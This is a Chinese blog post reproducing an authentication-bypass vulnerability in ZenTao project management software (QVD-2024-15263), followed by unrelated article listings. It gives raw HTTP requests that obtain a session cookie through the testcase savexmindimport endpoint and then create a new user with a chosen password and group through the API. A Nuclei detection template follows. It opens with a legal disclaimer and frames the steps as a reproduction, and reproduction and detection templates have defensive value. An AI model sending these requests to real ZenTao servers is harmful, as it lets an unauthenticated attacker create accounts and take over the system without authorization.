本文所涉及的任何技术、信息或工具,仅供学习和参考之用,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。

1. 概述

1.1 基本信息

禅道是一款支持敏捷、瀑布、看板等多种项目模型的开源项目管理软件,可完整覆盖研发项目的需求、任务、缺陷、用例、质量、组织知识库等流程。禅道提供多个版本,包括免费的开源版、付费的企业版、旗舰版、IPD版和云禅道,以及DevOps平台版,满足不同行业和规模的项目管理需求。

1.2 问题描述

禅道项目管理系统存在身份认证绕过漏洞,未经身份认证攻击者可利用该漏洞调用任意API接口并更改任意用户的密码,随后可以以管理员的身份登录该系统,结合未知的认证后远程代码执行漏洞可以完全控制服务器。

1.3 影响范围

v16.x <= 禅道 < v18.12 (开源版)
v6.x <= 禅道 < v8.12 (企业版)
v3.x <= 禅道 < v4.12 (旗舰版)

2. 漏洞复现

2.1 获取cookie

GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=jtexhqkbflxckrrolpbc&branch=luqmyuqbafmjejbvjixf HTTP/1.1
Host: {{hostname}}

获得Cookie: zentaosid=002c78f075e326c5cb0f496e8c30066a

2.2、绕过测试

GET /zentao/api.php/v1/lists HTTP/1.1
Cookie: zentaosid=002c78f075e326c5cb0f496e8c30066a
Host: {{hostname}}

显示为无接口,并不是未授权即可。

2.3 添加用户接口测试

POST /zentao/api.php/v1/users HTTP/1.1
Cookie: zentaosid=XXXXXXX
Host: {{hostname}} {"account":"test","password":"admin@123",
"realname":"test",
"role":"",
"group":"2"
}

返回201Created即证明添加用户成功。

2.4 验证

使用该用户登录后台

NUCLEI检测POC

id: ChanDao_PermissionBypass

info:
name: ChanDao_PermissionBypass
author: ffff5
severity: medium
description: chandao_permissionbypass api.php
reference:
- https://github.com/
- https://cve.mitre.org/
metadata:
max-request: 1
shodan-query: "" requests:
- raw:
- |+
@timeout: 30s
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xevscpierwzxcolrlykp&branch=ejlyosowumhxetlxbfet HTTP/1.1
Host: {{Hostname}} - |+
@timeout: 30s
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xevscpierwzxcolrlykp&branch=ejlyosowumhxetlxbfet HTTP/1.1
Host: {{Hostname}} matchers-condition: and
matchers:
- type: word
words:
- '"status":"success"'
- type: status
status:
- 200

禅道项目管理系统权限绕过漏洞(QVD-2024-15263)的更多相关文章

  1. 禅道项目管理系统整合Selenium IDE的思路

    前两天说用过Selenium IDE产生了一些想法,这里做一些整理. 传统的测试人员管理测试用例,基本都是用Excel.这没什么不好的,也没什么好的.如果通过管理系统来管理用例,相对来说,少了一些简便 ...

  2. 小玩意儿之Gitlab 代码提交日志同步到禅道项目管理系统

    以前都是使用禅道官方推荐的服务器本地扫描的方式,但其实不太方便,需要跟着项目的变化,不断的在配置文件维护项目相应仓库的配置. 然后现在Web Hooks越来越普遍的情况下,想尝试一种新的方式.看了禅道 ...

  3. Linux下部署开源版“禅道”项目管理系统《转载》

    Linux下部署开源版“禅道”项目管理系统 https://www.cnblogs.com/xxsl/p/6525378.html

  4. zentaopms - 禅道项目管理系统部署

    概述 禅道是开源免费的项目管理软件 使用步骤 管理员 添加组织 添加用户 用户权限管理(通过分组确定权限) 产品经理 添加产品 添加模块(隶属于产品) 添加需求(隶属于模块) 添加计划(计划形成“路线 ...

  5. Linux下部署开源版“禅道”项目管理系统

    1.开源版安装包下载 [root@iZbp ~]# wget http://dl.cnezsoft.com/zentao/9.0.1/ZenTaoPMS.9.0.1.zbox_64.tar.gz 2. ...

  6. linux下搭建禅道项目管理系统

    1.禅道下载:                 #官网:http://www.zentao.net/article-browse-1067.html [root@localhost ~]# wget ...

  7. Python 实现 Discuz论坛附件下载权限绕过漏洞

    背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了. 所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”.所以写了下面程序. 0.将下列代 ...

  8. Android电话拨打权限绕过漏洞(CVE-2013-6272)分析

    原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/ 1. CVE-2013-6272漏洞背景 CVE-2013-6272是一个安卓平台 ...

  9. linux sudo root 权限绕过漏洞(CVE-2019-14287)

    0x01 逛圈子社区论坛 看到了 linux sudo root 权限绕过漏洞(CVE-2019-14287) 跟着复现下 综合来说 这个漏洞作用不大  需要以下几个前提条件 1.知道当前普通用户的密 ...

  10. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

    couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...

随机推荐

  1. gcc系列工具 介绍

    编译器相关知识学习 GNU GCC简介 GNU GCC是一套面向嵌入式领域的交叉编译工具,支持多种编程语言.多种优化选项并且能够支持分步编译.支持多种反汇编方式.支持多种调试信息格式,目前支持X86. ...

  2. 《DNK210使用指南 -CanMV版 V1.0》第四章 基于CanMV的C开发环境搭建

    第四章 基于CanMV的C开发环境搭建 1)实验平台:正点原子DNK210开发板 2) 章节摘自[正点原子]DNK210使用指南 - CanMV版 V1.0 3)购买链接:https://detail ...

  3. 都是全志T113处理器,“-i”和“-S3”有什么区别?

    自9个月前,创龙科技"1片含税就79元"的全志T113-i双核ARM Cortex-A7@1.2GHz的工业核心板(SOM-TLT113)推出之后,不少嵌入式软硬件工程师.用户都咨 ...

  4. PHP 真的不行了?透过 PHP 的前世今生看真相

    大家好,我是码农先森. 1994年我出生在湖南的农村,就在同年加拿大的拉斯姆斯·勒多夫创造了 PHP,这时的 PHP 还只是用 Perl 编写的 CGI 脚本.或许是时间的巧合 PHP 变成了我后半生 ...

  5. 小程序-浅谈云函数获取数据和云数据库api获取数据的区别

    区别:在于条数的限制,云数据库api获取数据限制20条以内,云函数限制100条以内 index.wxml <button bindtap="shujukuget">数据 ...

  6. 使用Eclipse开发Vue——CodeMix够智能

    使用Eclipse开发Vue--CodeMix够智能 Eclipse的CodeMix插件允许您访问 VS Code和Code OSS扩展社区,以及 Webclipse 1.x 功能. Vue.js是构 ...

  7. yolov5 损失函数代码详解

    前言 模型的损失计算包括3个方面,分别是: 定位损失 分类损失 置信度损失 损失的计算公式如下: 损失计算的代码流程也是按照这三大块来计算的.本篇主要讲解yolov5中损失计算的实现,包括损失的逻辑实 ...

  8. django 如何查询汇总的求和时避免没有数据导致的错误

    django 如何查询汇总的求和时避免没有数据导致的错误 在 Django 中,如果你希望对某个字段进行求和操作,并在没有数据时返回默认值,可以使用 aggregate 结合 Coalesce 函数. ...

  9. 从DDPM到DDIM(三) DDPM的训练与推理

    从DDPM到DDIM(三) DDPM的训练与推理 前情回顾 首先还是回顾一下之前讨论的成果. 扩散模型的结构和各个概率模型的意义.下图展示了DDPM的双向马尔可夫模型. 其中\(\mathbf{x}_ ...

  10. 使用git(ee的一个小总结

    我先把后端项目推进了gitee,后面为了方便又想把前端也放在同一个项目里,结果出问题了: 一开始是因为前端项目内包含了.git的文件(这个玩意还是隐藏文件,就是你在idea里其实是看不到他的),导致只 ...